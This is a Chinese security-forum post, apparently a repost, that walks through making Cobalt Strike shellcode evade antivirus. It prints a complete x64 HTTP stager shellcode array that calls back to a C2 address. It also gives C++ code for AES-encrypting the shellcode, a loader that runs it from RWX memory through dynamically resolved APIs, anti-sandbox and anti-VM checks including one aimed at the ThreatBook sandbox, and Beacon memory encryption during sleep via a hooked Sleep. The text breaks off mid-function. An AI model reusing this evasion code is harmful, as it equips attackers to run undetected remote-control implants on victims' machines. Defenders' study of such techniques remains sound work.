安全矩阵

 找回密码
 立即注册
搜索
查看: 956|回复: 0

免杀|记一次cs样本免杀实践

[复制链接]

26

主题

26

帖子

88

积分

注册会员

Rank: 2

积分
88
发表于 2024-4-7 16:52:26 | 显示全部楼层 |阅读模式
原文首发在:奇安信攻防社区

https://forum.butian.net/share/2620

0x01 背景
从年初开始接触免杀,学习了很多理论;也在攻防项目中,分析了很多前辈们写的免杀马;感觉自己能行了,于是从今年8、9月份左右开始想写自己对免杀的一些总结,想从一个比较高的角度概况出所有的免杀思路,一方面给同在入门期的新手们一个学习思路,一方面记录下自己的release,奈何太菜有心无力,看着自己构画的大纲,又觉得自己接触的东西不过免杀技术的冰山一角,又凭什么写一些总结性的文章呢,就不献丑了;于是转念“大道三千,我取其一即可”,写写自己每次的免杀尝试,尝试过程的用到的知识点做一些总结好了,最后能实现免杀的经历好了。

本文记录笔者使用常见默认配置的cobaltstrike shellcode免杀的尝试,构造自己的shellcodeloader加载对应的shellcode实现对常见杀软查杀绕过。 文中测试生成的shellcode,选择的listener;

0x02 杀软检测
首先我们不妨先简单分析下杀软的查杀方式:

从查杀的时间阶段,笔者理解可以查杀方式主要分为两大类:

静态查杀:指以文件静态是在磁盘中的形式对文件进行检测查杀;

动态查杀:指以文件动态运行的时候在内存中的形式对文件进行检测查杀;

除了这两个查杀方式之外,一些杀软还有一些其他的查杀方式,常见有的:行为查杀(对一些系统行为进行检测,包括但不限于进程创建、驱动程序加载、注册表修改、磁盘访问、内存访问和网络连接等,还有一些注入行为,远程进程注入。通常和动态查杀搭配使用)、Al分析查杀、网络特征查杀等;本文重点就静态查杀和动态查杀展开;

不妨想下杀软会如何将两种查杀 落地。

一、静态检测
文件处于静态的时候,我们看一个样本文件,能看到什么:

PE文件头信息,导入、导出、TLS等表信息,节区信息;shellcode代码信息;shellcodeloader代码信息;文件本身的hash值

抛开基于黑名单的hash值的查杀来看,杀软在这个阶段主要的查杀目标是shellcode;当然也有一些辅助信息,比如导入、导出表,是否存在shellcodeloader特征信息,这些辅助信息大多数是一个总结的评分机制构成,比如存在某个特征+10分,如果综合超过了60,最后就给评为恶意;

我们先来解决主要矛盾:如何避免杀软检测到shellcode

两种方法:

1、把shellcode扔了,动态拉取,这也就是常见的shellcode分离的免杀技术;这种技术可以简单粗暴的过静态检测;

2、把shellcode存在形式进行修改,两种选择,第一种是直接把shellcode“脱胎换骨”,套一个外壳,杀软不认识他了就好了;第二种选择是将shellcode简单改改,我们看杀软检测哪,就修改哪,同时保证代码效果不发生变化即可;简单说就是一个大改,一个小改;各有好处;大改实现比较简单粗暴,但是最后使用的时候是要还原的,所以存在后患;小改比较复杂,我们先要了解杀软的规则,检测特征,才能对症下药,之前笔者写个一个绕过火绒的小改demo文章样本测stager免杀,感兴趣的师傅可以看下;笔者认为能够把小改的落地融汇贯通,甚至自己随心所欲的编写shellcode,基本就独孤求败了,机器都能被绕过,除非是人工分析;

大改其实就是加密/编码,小改其实就是对shellcode进行去特征化,一般小改建议用于当我们遇到特定的杀软的情况;

然后再来看看次要矛盾:如何将上文的“辅助”信息特征进行隐藏(导入导出等表还有shellcodeloader特征信息)

这里主要的问题集中在,实现shellcodeloader的时候可能会调用一些敏感的api,从而导致导入表需要导入一些敏感api;这里我们可以使用一些奇怪的方式去解决敏感api的调用;比如,我们可以动态加载api,运行的时候通过loadlibrary+getprocaddress来获取一些api的地址,再深层点,我们调用loadlibrary和getprocaddress也不用api直接调用,而是通过fs寄存器去TEB、PEB里面找内存加载的dll,找到kernel32.dll遍历导出表去找loadlibrary和getprocaddress,这样就连loadlibrary和getprocaddress都没有了;再深层次一点,我们可以直接做到用户层的极限,直接通过SSN(system service number/系统访问编号)去实现直接的syscall的调用,如果只是对抗静态,事实上大部分情况,都不用做到这么复杂就能解决问题了;后续在动态查杀中我们再来看看后两者的区别;当然还有一些其他的方法来隐藏shellcodeloader,比如我们选择loader的实现时候可以选择一些不会被标记的api来做,例如:当我们纠结如何让shellcode运行的时候,为了绕开一些Create(Remote)Thread()等函数的检测,可以通过一些回调函数来运行shellcode,等等;

二、动态检测
动态查杀的实现主要有两种思路:

1、通过虚拟化运行检测:就是大家常说的沙箱,一般杀软会直接或者间接携带虚拟沙箱,当我们的文件落地的时候,如果是可执行文件,会模拟运行,进行查杀;还有一方面是我们要对抗一些在线检测的沙箱,其实就是和这个一回事,国内的比如微步、qax、安天提供的在线沙箱;

2、真实运行内存检测:这个检测的时间点在虚拟化运行检测之后,一般是虚拟化检测没问题,用户自己在物理机运行的时候,杀软可以随时将运行的可执行文件内存dump下来,进行检测;

这里我们简单说下方法论,不展开说细节,后文提到的技术再展开说;

首先是如何绕过虚拟化检测:核心就是不让虚拟环境接触到我们的shellcode

1、样本做一些虚拟化环境、沙箱做不了的操作;

2、样本检查是否存在虚拟化环境、沙箱特征然后不释放恶意代码;

然后是如何绕过内存dump的检测:

1、我们可以借助一些小技巧来绕过内存dump的查杀,例如,内存dump肯定是有限制的,他不可能无限dump,那谁都受不了,程序不用运行了,都让杀软运行得了;所以杀软肯定是有策略的dump,比如,运行之后的5秒钟dump第一次,再比如运行之后遇到结合行为检测遇到了一些可疑行为,那就触发一次内存dump;换句话说所以我们主要保证dump的时候,相关shellcode和远控逻辑代码是被带上面具的即可,也就是被加密的即可;

2、修改特征,这个其实和静态检测中的对shellcode的小改的思路是差不多的,就是硬过,修改一些你杀软识别的特征,绕过你的机器检测,这种想要落地是非常难的,在不知道杀软的规则的情况下;需要不断的黑盒测试;同时难度也是比前者更大的,因为此时我们不仅仅是修改shellcode特征,还有shellcode拉取的更大的远控逻辑代码的特征,还有一些数据段的特征,具体的话看后续的实现方法;

0x03 免杀尝试
一、静态免杀
过静态查杀的方式有很多,但是最"简单和暴力"的就是上文提到的将shellcode的存在形式进行修改中的“大改”:加密/编码;必要的时候需要“隐藏”加密特征(使用一些经常只在远控框架中出现的加密/编码时)

免杀中常见的加解密方法:使用凯撒密码、使用xor异或算法、公开的加密体系算法如:aes、des、rc4;这里建议不要选xor算法和凯撒密码,除非你的key是随机生成并且长度至少要大于1;因为yara有通用匹配机制来对抗这种简单的移位密码算法:如:

rule XorExample1  
{  
    strings:  
        $xor\_string = "This program cannot" xor  

    condition:  
        $xor\_string  
}  

rule XorExample2  
{  
    strings:  
        $xor\_string\_00 = "This program cannot"  
        $xor\_string\_01 = "Uihr!qsnfs\`l!b\`oonu"  
        $xor\_string\_02 = "Vjkq\\"rpmepco\\"acllmv"  
        // Repeat for every single byte XOR  
    condition:  
        any of them  
}
上面两条规则是包含的关系,并且第一条包含了第二条;

除了加解密之外,对抗静态查杀也经常使用编码来绕过,比如msf,其自带的shikata编码,是比较理想的编码算法,但是其也有缺陷,就是其自身存在一些强特征;

前段时间笔者做了下datacon的样本分析的题目,题目就是给了一堆海量的cs/msf 的样本,让你提取出来c2和其使用的编码以及回连端口;里面就提到了shikata编码,这个编码可以不停的迭代,msf中可以控制迭代的次数,比如我可以反复编码编码23次也可以100次;但是由于其自带的强特征,我们是非常好提取其迭代的次数的。并且非常好判断样本是否使用了shikata的编码;)

1、对抗shellcode特征检测
这里我们为了避免处理编码特征的隐藏,直接选用对shellcode进行aes(加密模式选择cbc固定key和iv)加密;因为aes是一个很多地方都会使用的加解密算法,所以杀软是不能检测aes这个加密特征的;否则误报率相当高;

#include <windows.h>  
#include "AES.h"  
#include <iostream>  
#include <thread>  
using namespace std;  

int main() {  
    //http x64 shellcode   
    unsigned char  plain\[\] \= "\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc8\\x00\\x00\\x00\\x41\\x51\\x41\\x50\\x52\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\\x48\\x8b\\x52\\x18\\x48\\x8b\\x52\\x20\\x48\\x8b\\x72\\x50\\x48\\x0f\\xb7\\x4a\\x4a\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\x41\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\xe2\\xed\\x52\\x41\\x51\\x48\\x8b\\x52\\x20\\x8b\\x42\\x3c\\x48\\x01\\xd0\\x66\\x81\\x78\\x18\\x0b\\x02\\x75\\x72\\x8b\\x80\\x88\\x00\\x00\\x00\\x48\\x85\\xc0\\x74\\x67\\x48\\x01\\xd0\\x50\\x8b\\x48\\x18\\x44\\x8b\\x40\\x20\\x49\\x01\\xd0\\xe3\\x56\\x48\\xff\\xc9\\x41\\x8b\\x34\\x88\\x48\\x01\\xd6\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x41\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\x38\\xe0\\x75\\xf1\\x4c\\x03\\x4c\\x24\\x08\\x45\\x39\\xd1\\x75\\xd8\\x58\\x44\\x8b\\x40\\x24\\x49\\x01\\xd0\\x66\\x41\\x8b\\x0c\\x48\\x44\\x8b\\x40\\x1c\\x49\\x01\\xd0\\x41\\x8b\\x04\\x88\\x48\\x01\\xd0\\x41\\x58\\x41\\x58\\x5e\\x59\\x5a\\x41\\x58\\x41\\x59\\x41\\x5a\\x48\\x83\\xec\\x20\\x41\\x52\\xff\\xe0\\x58\\x41\\x59\\x5a\\x48\\x8b\\x12\\xe9\\x4f\\xff\\xff\\xff\\x5d\\x6a\\x00\\x49\\xbe\\x77\\x69\\x6e\\x69\\x6e\\x65\\x74\\x00\\x41\\x56\\x49\\x89\\xe6\\x4c\\x89\\xf1\\x41\\xba\\x4c\\x77\\x26\\x07\\xff\\xd5\\x48\\x31\\xc9\\x48\\x31\\xd2\\x4d\\x31\\xc0\\x4d\\x31\\xc9\\x41\\x50\\x41\\x50\\x41\\xba\\x3a\\x56\\x79\\xa7\\xff\\xd5\\xeb\\x73\\x5a\\x48\\x89\\xc1\\x41\\xb8\\x50\\x00\\x00\\x00\\x4d\\x31\\xc9\\x41\\x51\\x41\\x51\\x6a\\x03\\x41\\x51\\x41\\xba\\x57\\x89\\x9f\\xc6\\xff\\xd5\\xeb\\x59\\x5b\\x48\\x89\\xc1\\x48\\x31\\xd2\\x49\\x89\\xd8\\x4d\\x31\\xc9\\x52\\x68\\x00\\x02\\x40\\x84\\x52\\x52\\x41\\xba\\xeb\\x55\\x2e\\x3b\\xff\\xd5\\x48\\x89\\xc6\\x48\\x83\\xc3\\x50\\x6a\\x0a\\x5f\\x48\\x89\\xf1\\x48\\x89\\xda\\x49\\xc7\\xc0\\xff\\xff\\xff\\xff\\x4d\\x31\\xc9\\x52\\x52\\x41\\xba\\x2d\\x06\\x18\\x7b\\xff\\xd5\\x85\\xc0\\x0f\\x85\\x9d\\x01\\x00\\x00\\x48\\xff\\xcf\\x0f\\x84\\x8c\\x01\\x00\\x00\\xeb\\xd3\\xe9\\xe4\\x01\\x00\\x00\\xe8\\xa2\\xff\\xff\\xff\\x2f\\x58\\x34\\x5a\\x77\\x00\\xbd\\xa3\\x09\\x05\\x92\\x94\\xc5\\x2c\\x92\\x73\\x8c\\x7d\\xfe\\x2c\\xa4\\x45\\xe8\\x6c\\xab\\xa5\\x52\\xec\\x1d\\x16\\x89\\x43\\x65\\x7c\\x19\\x1e\\x3e\\xc5\\x49\\x2f\\x52\\xf4\\xdc\\x29\\x12\\x73\\x35\\x72\\x89\\xba\\x04\\xdf\\xc1\\xd9\\x2d\\x20\\xec\\x91\\x82\\x56\\x29\\xc3\\x29\\x23\\x0f\\xaa\\x25\\xc1\\x6b\\x14\\x03\\x31\\x9e\\x39\\x88\\x39\\xb0\\xde\\xd8\\x00\\x55\\x73\\x65\\x72\\x2d\\x41\\x67\\x65\\x6e\\x74\\x3a\\x20\\x4d\\x6f\\x7a\\x69\\x6c\\x6c\\x61\\x2f\\x34\\x2e\\x30\\x20\\x28\\x63\\x6f\\x6d\\x70\\x61\\x74\\x69\\x62\\x6c\\x65\\x3b\\x20\\x4d\\x53\\x49\\x45\\x20\\x38\\x2e\\x30\\x3b\\x20\\x57\\x69\\x6e\\x64\\x6f\\x77\\x73\\x20\\x4e\\x54\\x20\\x35\\x2e\\x31\\x3b\\x20\\x54\\x72\\x69\\x64\\x65\\x6e\\x74\\x2f\\x34\\x2e\\x30\\x3b\\x20\\x2e\\x4e\\x45\\x54\\x20\\x43\\x4c\\x52\\x20\\x32\\x2e\\x30\\x2e\\x35\\x30\\x37\\x32\\x37\\x29\\x0d\\x0a\\x00\\xc1\\x01\\x5f\\x90\\xbe\\x7f\\x53\\xbb\\xa4\\xe1\\x6d\\x15\\x35\\x12\\x19\\xa0\\xb9\\xc3\\x9e\\xa6\\xa8\\xb4\\xb9\\x68\\x90\\x78\\xbf\\xab\\x92\\xc7\\x49\\xf5\\x56\\x0f\\xab\\xf0\\x17\\x6d\\x10\\x18\\xf0\\x1c\\xe5\\xed\\x23\\x3e\\x29\\x77\\x27\\xd2\\x22\\x04\\x09\\xa4\\x8b\\x0c\\x74\\xb6\\x56\\x02\\xe1\\xa0\\x3d\\x5e\\x66\\xe9\\x3c\\x93\\x1e\\x4b\\xb5\\xa9\\x60\\xcc\\x22\\x08\\x97\\x5f\\x56\\x60\\x4c\\x3c\\xb4\\x29\\xb2\\x16\\xed\\x7f\\xe9\\x54\\x64\\xf5\\xf7\\xbd\\x4c\\xd4\\x7d\\x33\\x78\\x76\\x7d\\xa8\\xe3\\x43\\xf2\\x8f\\x2d\\x1f\\x31\\xf0\\xb9\\x84\\xf7\\x1f\\x82\\x4b\\x07\\x22\\x1e\\x8d\\x1f\\xf0\\xc8\\xc1\\x06\\xb8\\xd7\\x25\\x6a\\x69\\xc7\\x5d\\x74\\x5c\\xbb\\x2e\\x3a\\xb7\\xd0\\xa1\\x62\\x74\\xc7\\x3e\\x14\\x7e\\x3f\\x3f\\x56\\xa1\\xdc\\x0c\\x1e\\xec\\xb5\\x59\\x28\\x52\\x23\\xaf\\x68\\x79\\xb5\\xf1\\xb4\\x50\\x7a\\xab\\xe4\\x28\\xf2\\x91\\x0c\\x73\\xdc\\x4c\\x49\\xc6\\xb7\\xa9\\xa9\\x8c\\x7b\\x24\\x51\\x23\\xc8\\x93\\xe2\\xd7\\x96\\x95\\x56\\x0c\\x7b\\x6a\\xad\\xaf\\x85\\xc9\\xe3\\xab\\x7c\\x35\\xfe\\x00\\x41\\xbe\\xf0\\xb5\\xa2\\x56\\xff\\xd5\\x48\\x31\\xc9\\xba\\x00\\x00\\x40\\x00\\x41\\xb8\\x00\\x10\\x00\\x00\\x41\\xb9\\x40\\x00\\x00\\x00\\x41\\xba\\x58\\xa4\\x53\\xe5\\xff\\xd5\\x48\\x93\\x53\\x53\\x48\\x89\\xe7\\x48\\x89\\xf1\\x48\\x89\\xda\\x41\\xb8\\x00\\x20\\x00\\x00\\x49\\x89\\xf9\\x41\\xba\\x12\\x96\\x89\\xe2\\xff\\xd5\\x48\\x83\\xc4\\x20\\x85\\xc0\\x74\\xb6\\x66\\x8b\\x07\\x48\\x01\\xc3\\x85\\xc0\\x75\\xd7\\x58\\x58\\x58\\x48\\x05\\x00\\x00\\x00\\x00\\x50\\xc3\\xe8\\x9f\\xfd\\xff\\xff\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x31\\x34\\x38\\x2e\\x31\\x33\\x37\\x00\\x00\\x00\\x22\\x90";  


    int plain\_size \= sizeof(plain) / sizeof(plain\[0\]);  
    if (plain\_size % 16 != 0) {  
        plain\_size \= plain\_size + (16 \- (plain\_size % 16));  
    }  

    printf("明文:");  
    for (int i \= 0; i < plain\_size; i++) {  
        printf("%x", plain\[i\]);  
    }  
    printf("\\n");  

    unsigned char iv\[\] \= {0x01, 0x02, 0x03, 0x09, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f};  
    printf("IV:");  
    for (int i \= 0; i < 16; i++) {  
        printf("%x", iv\[i\]);  
    }  
    printf("\\n");  


    unsigned char key\[\] \= { 0x01, 0x02, 0x03, 0x09, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f }; //key example  

    printf("KEY:");  
    for (int i \= 0; i < 16; i++) {  
        printf("%x", key\[i\]);  
    }  
    printf("\\n");  

    AES aes(AESKeyLength::AES\_128);  


    //加密  
    //unsigned char\* cipher = aes.EncryptECB(plain, plain\_size, key);   //ecb  
    unsigned char\* cipher \= aes.EncryptCBC(plain, plain\_size, key,iv);   //cbc  
    printf("密文:");  
    for (int i \= 0; i < plain\_size; i++) {  
        printf("\\\\x%02x", cipher\[i\]);  
    }  
    printf("\\n");  


}
这样就可以绕过杀软静态检测对shellcode的特征检查

2、对抗shellcodeloader和其他特征
然后我们看下shellcodeloader:

1、就是使用常规的VirtualAlloc开辟shellcode的存储空间,然后使用RtlMoveMemory将解密后的shellcode复制到对应空间;最后将空间开头地址强传函数指针执行即可;

2、我们采用动态加载的形式加载shellcodeloader需要的函数

3、过程中出现的字符串,我们都通过栈来存储;不要出现在数据段

大致代码逻辑如下:

函数定义:
typedef LPVOID(\*MyVirtualAlloc)(LPVOID lpAddress,SIZE\_T dwSize,DWORD  flAllocationType,DWORD  flProtect);  
typedef LPVOID(\*MyRtlMoveMemory)(VOID UNALIGNED\* Destination,const VOID UNALIGNED\* Source,SIZE\_T  Length);  



代码实现:  
cipher\[\] \= "shellcode加密之后的密文";  
char a\[\] \= { 'k','e','r','n','e','l','3','2','.','d','l','l','\\0'};  
char b\[\] \= { 'V','i','r','t','u','a','l','A','l','l','o','c','\\0' };  
char c\[\] \= { 'N','t','d','l','l','.','d','l','l','\\0' };  
char d\[\] \= { 'R','t','l','M','o','v','e','M','e','m','o','r','y','\\0' };  
unsigned char\* res\_plain \= aes.DecryptCBC(cipher, cipher\_size, key, iv);//解密  
MyVirtualAlloc myVa \= (MyVirtualAlloc)GetProcAddress(GetModuleHandle(a), b);  
MyRtlMoveMemory myMov \= (MyRtlMoveMemory)GetProcAddress(GetModuleHandle(c), d);  
LPVOID mem \= myVa(NULL, cipher\_size + 1, MEM\_COMMIT, PAGE\_EXECUTE\_READWRITE);  
myMov(mem, res\_plain, cipher\_size);  
((void(\*)())mem)();
二、动态免杀
我们主要去绕过上文提到动态检测的两个点:1、通过虚拟化运行检测:2、真实运行内存检测

1、对抗虚拟化运行检查(虚拟沙箱)
检查沙箱特征不运行:

笔者在今年hw的时候分析了一些样本,其中又一些做了一些反虚拟化和反沙箱操作,这里我们直接借鉴,然后稍加增补即可;

如这个go写的样本:



这里我们直接借鉴一波,cpu个数,ram大小,开机时间的话可以看情况使用:

1、检查cpu个数:cpu小于2个,非真实物理机

2、检查ram大小,ram小于2gb,非真实物理机

3、检查开机时间,这个主要是反一些动态分配的沙箱

/\*  
    check cpu  
    反沙箱、虚拟机 分配的cpu个数  
\*/  
bool checkcpu() {  
    SYSTEM\_INFO systemInfo;  
    GetSystemInfo(&systemInfo);  
    DWORD numberOfProcessors \= systemInfo.dwNumberOfProcessors;  
    if (numberOfProcessors < 2)  
        return false;  
    else  
        return true;  
}  

/\*  
        check RAM  
        内存大于2g  
\*/  
bool checkRAM() {  

    MEMORYSTATUSEX memoryStatus;  
    memoryStatus.dwLength \= sizeof(memoryStatus);  
    GlobalMemoryStatusEx(&memoryStatus);  
    DWORD RAMMB \= memoryStatus.ullTotalPhys / 1024 / 1024;  
    if (RAMMB < 2048)  
        return false;  
    else  
        return true;  
}  

/\*  
    反沙箱、虚拟机,开机时间大于1小时返回true  
\*/  
bool checkUptime() {  
    DWORD upTime \= GetTickCount();  
    //printf("时间:%d", &upTime);  
    if (upTime \> 3600000)  
        return true;  
    else  
        return false;  
}  

除此之外我们加一些其他沙箱/虚拟机存在的特征:

4、检查是否存在sub链接记录:沙箱和虚拟机一般没有usb记录

5、检查样本名称:沙箱可能会修改样本名称

6、检查硬盘大小:沙箱和虚拟机一般都不会分配大的硬盘

7、检查sleep函数是否被劫持:虚拟沙箱一般为了更快速的运行样本,会劫持sleep函数,来对抗一些企图通过延时运行来逃避检测的恶意样本;利用这特征我们可以检测当前环境是否是沙箱

代码实现:

/\*  
    反沙箱 虚拟化  
    检查usb链接的个数  
\*/  
bool checkusbnum() {  
    HKEY hKey;  
    DWORD mountedUSBDevicesCount;  
    RegOpenKeyEx(HKEY\_LOCAL\_MACHINE, "SYSTEM\\\\ControlSet001\\\\Enum\\\\USBSTOR", 0, KEY\_READ, &hKey);  
    RegQueryInfoKey(hKey, NULL, NULL, NULL, &mountedUSBDevicesCount, NULL, NULL, NULL, NULL, NULL, NULL, NULL);  
    if (mountedUSBDevicesCount < 1)  
        return false;  
    else  
        return true;  

}  
/\*  
    反沙箱、虚拟化  
    检查文件名(有些沙箱会改名去运行)  
    文件运行的路径(这个要配合样本本身来做,样本要把自己复制到特定的文件夹下面,然后创建进程启动目标文件夹下的样本,结束自己;  
    之前遇到过一个样本:1、先把自己复制到特定文件夹;2、释放一个bat文件 3、运行bat文件,bat文件运行复制之后的样本来反查杀、反虚拟、沙箱  
\*/  
bool checkprocessnameandpath() {  
    char currentProcessPath\[MAX\_PATH + 1\];  
    GetModuleFileName(NULL, currentProcessPath, MAX\_PATH + 1);  
    //if (!wcsstr(currentProcessPath, L"C:\\\\USERS\\\\PUBLIC\\\\")) return false;  
    if (!strstr(currentProcessPath, "AvoidRandomKill.exe"))//这里填写样本的名字  
    {  
        return false;  
    }  
    else  
        return true;  
}  


/\*  
    反虚拟机、沙箱  
    硬盘大小大于100  
\*/  
bool checkHDD() {  

    HANDLE hDevice \= CreateFileW(L"\\\\\\\\.\\\\PhysicalDrive0", 0, FILE\_SHARE\_READ | FILE\_SHARE\_WRITE, NULL, OPEN\_EXISTING, 0, NULL);  
    DISK\_GEOMETRY pDiskGeometry;  
    DWORD bytesReturned;  
    DeviceIoControl(hDevice, IOCTL\_DISK\_GET\_DRIVE\_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);  
    DWORD diskSizeGB;  
    diskSizeGB \= pDiskGeometry.Cylinders.QuadPart \* (ULONG)pDiskGeometry.TracksPerCylinder \* (ULONG)pDiskGeometry.SectorsPerTrack \* (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;  
    if (diskSizeGB < 100)  
        return false;  
    else  
        return true;  
}  

/\*  
    反沙箱、虚拟机  
    检测时间是否加速,来绕过沙箱  
\*/  
BOOL accelerated\_sleep()  
{  
    DWORD dwStart \= 0, dwEnd \= 0, dwDiff \= 0;  
    DWORD dwMillisecondsToSleep \= 30 \* 1000;  

    dwStart \= GetTickCount();  
    MySleep mySlp \= (MySleep)GetProcAddress(GetModuleHandle("Kernel32.dll"), "Sleep");  
    mySlp(dwMillisecondsToSleep);  
    dwEnd \= GetTickCount();  

    dwDiff \= dwEnd \- dwStart;  
    if (dwDiff \> dwMillisecondsToSleep \- 1000) // substracted 1s just to be sure  
        return false;  
    else  
        return true;  
}  
除此之外,这里也提一嘴对特定沙箱的绕过方法:其实对特定沙箱绕过是比较容易的,尤其是沙箱能够开放其自己的很多信息的情况下:

8、反”微步“沙箱:这里拿微步沙箱举例子,简单使用两次微步的沙箱,你会发现其存在一个非常简单但是实用的特征,他总是把样本放到一个形如,如下路径的磁盘位置进行运行:

C:\\[A-Za-z]{7}\\样本名称

如下是一次运行沙箱运行截图:



这里我们直接锁定路径,正则匹配,如果出现再这种目录下,不释放shellcode即可:

代码实现如下:


/\*  
    根据沙箱放置样本路径特征对抗微步沙箱  

\*/  
bool checkWEIBU() {  
    char currentProcessPath\[MAX\_PATH + 1\];  
    GetModuleFileName(NULL, currentProcessPath, MAX\_PATH + 1);  
    std::string input(currentProcessPath);  
    std::regex pattern(R"(C:\\\\\[A-Za-z\]{7}\\\\MyAESLoader\\.exe)");  
    std::smatch matches;  

    if (std::regex\_search(input, matches, pattern)) {  
        return false;  
    }  
    else {  
        return true;  
    }  
}
当然除此之外还有很多其他方法,比如通过计算沙箱环境背景图片的hash,通过匹配对应hash,来判断是否在对应指定的沙箱;再比如,通过一些点击操作来截断沙箱分析,如弹窗点击操作;再比如获取鼠标移动路径,来判断是否是沙箱等等

为了绕过虚拟化沙箱,除此之外还有第二条思路:运行沙箱做不了的操作

这里简单说下有哪些实现方式:

1、有些沙箱不能联网或者说是虚假联网:我们可以通过尝试访问某个互联网上的时间接口,来判断是否能够联网,并且是真实的互联网;这里为什么要说是真实的互联网呢,因为有的沙箱为了让恶意样本运行,会去模拟一些环境来 满足支持恶意样本,比如域名解析,不管恶意样本需要解析什么域名,都会解析成功;我们熟知的WannaCry勒索软件病毒回来域名解析失败之后会造成勒索,因为其尝试解析就是一个根本不存在的域名(),其将此作为开关,来避免被一些沙箱环境检测。

2、沙箱不能模拟命名管道通信:CobaltStrike里面的The Artifact Kit 其中一种技术就是通过命名管道向自身提供 shellcode,但是沙箱做不到这个操作,从而沙箱就不会拿到shellcode,也没有办法静态直接匹配,因为shellcode是使用一串随机字节,xor加密的;感兴趣可以通过cs生成artifact的样本看看;



2、对抗内存检测
这里我们选择上文提到的对抗内存dump检测绕过的第一种方法,即巧妙的运行杀软不能过度占用资源的限制,在其准备dump之前抓住时机加密恶意代码,然后需要运行恶意代码的时候在解密出来;一句话概述就是动态内存加解密;

这里我们使用的c2框架是cobaltstrike,所以我们可以借助其sleep的特性来完成动态加解密这一操作;每次sleep之前加密内存种所有恶意代码,sleep之后解密还原内存中的恶意代码;

这项技术有两个个难点:

1、如何准确的找到其调用sleep的时机,并插入我们加解密的代码

2、如何准确的找到所有的恶意代码,因为我们要对其进行加解密,所以我们要在内存空间中准确的找到所有恶意代码

第一个问题,如果学习过逆向技术的师傅们,应该很快就能想到,这不是hook嘛,根本不用找,直接hook sleep不就可以了,对,我们可以通过inline hook 劫持sleep 这个api,让shellcode执行我们自定义的sleep,就可以为所欲为了;

第二个问题,这个问题有点不好想,需要了解cobaltstrike的shellcode的实现方式,以及其beacon的拉取和加载;笔者曾在攻防社区发布过几篇关于cs 分析的文章;

Cobaltstrike4.0 —— shellcode分析

Cobaltstrike4.0——记一次上头的powershell上线分析

这里笔者就不再重复写起加载和拉取过程的原理了,简单说就是,shellcode会拉取beacon,拉取的beacon会通过特殊构造的dll引导头跳入反射加载函数,从而反射加载自己到内存中;之后的远控逻辑都是再后者了;

所以这里我们要处理的恶意代码总共就三个:

1、 shellcode

2、 文件形式beacon

3、内存形式beacon

首先我们要找到这三个地址,然后操作的时候,对于shellcode和文件形式的beacon可以直接抹除,只要实现内存形式的beacon的动态加解密即可;

shellcode好说,这个本身就是我们申请的空间,很容易我们能拿到对应地址

文件形式的beacon,内存形式的beacon是该如何找到,这是一个问题,这个问题可以使用两种方式来实现:

1、hook virtualAlloc函数;shellcode拉取beacon,是通过VirtualAlloc开辟的空间;反射加载函数,自加载的时候也是VirtualAlloc一个空间,然后实现对应的”loadlibrary“工程;

2、仔细观察,你会发现,不管是文件形式的beacon还是内存形式的beacon,其申请的空间都是私有的可读可写可执行的空间,其他正常内存属性都不会是这样;

如下图,右边是之前的属性(RW),左边是被处理修改后的属性(ERW)



所以我们可以通过内存页遍历,从内存属性出发去找对应的属性,然后做标记;

这里唯一的一个问题就是如何曲风哪个是内存beacon那个是文件形式的beacon,笔者刚开始想当然的觉得,第一个低位置0x84000内存是文件形式的beacon,第二个高位置0x2B2000是内存形式的beacon,因为首先从大小上看,按道理文件形式的beacon大小肯定是i西澳娱内存形式的beacon的,因为内存对齐单位通常是0X1000 文件对齐单位是通常是0x200;其次默认觉得先申请的是低位置空间的,后申请的是高位置空间的,哈哈哈;然后事实是先后申请和内存位置的高低没有任何关系;后来测试发现,有时候内存形式beacon在文件形式beacon之前,有时候又恰巧相反;

所以我们能区分两者,简单的方式,是”反着看“大小;有点离谱,这里笔者也没懂,为什么会这样,为什么cobaltstrike在申请一个存储文件形式beacon的空间的时候申请了一个相对大的空间,在申请一个内存形式beacon的空间的时候申请了一个相对小的空间;

代码实现:

这里实现hook是通过detours库来实现的;


// 加解密Beacon  
void My\_Encrypt()  
{  
    // 定位到真正的Beacon内存页  
    MemoryAttrib Beacon \= memoryInfo.memoryPage\[memoryInfo.index \- 1\];  


    DWORD bufSize \= Beacon.size;  

    unsigned char\* buffer \= (unsigned char\*)(Beacon.address);  
    int bufSizeRounded \= (bufSize \- (bufSize % sizeof(unsigned int)));  



    //AESEncode(buffer,Bufsize);//加密拉伸后的beacon  
    AESEncode(buffer, bufSizeRounded);//加密拉伸后的beacon  

    DWORD oldProt;  

    // 将内存页设置为可读可写  
    VirtualProtect(Beacon.address, Beacon.size, PAGE\_READWRITE, &oldProt);  
    printf("Beacon已加密并将内存页属性调整为 RW.\\n");  
}  

void My\_Decrypt()  
{  
    // 定位到真正的Beacon内存页  
    MemoryAttrib Beacon \= memoryInfo.memoryPage\[memoryInfo.index \- 1\];  
    DWORD bufSize \= Beacon.size;  
    unsigned char\* buffer \= (unsigned char\*)(Beacon.address);  
    int bufSizeRounded \= (bufSize \- (bufSize % sizeof(unsigned int)));  
    //int bufsize = bufSize % sizeof(unsigned int);  

    // 对Beacon进行加密或解密  
    //for (int i = 0; i < bufSizeRounded; i++)  
    //{  
    //  buffer\[i\] ^= memoryInfo.key;    // 简单的异或加解密  
    //}  
    AESDecode(buffer, bufSizeRounded);  
    //AESDecode(buffer,bufsize);  

    DWORD oldProt;  


        // 将内存页设置为可读可写可执行  
    VirtualProtect(Beacon.address, Beacon.size, PAGE\_EXECUTE\_READWRITE, &oldProt);  
    printf("Beacon已解密并内存页属性调整为 RWX.\\n");  
}  


/\*  
    内存扫描  
\*/  

void ScanMemoryMap()  
{  
    // 内存块信息结构体  
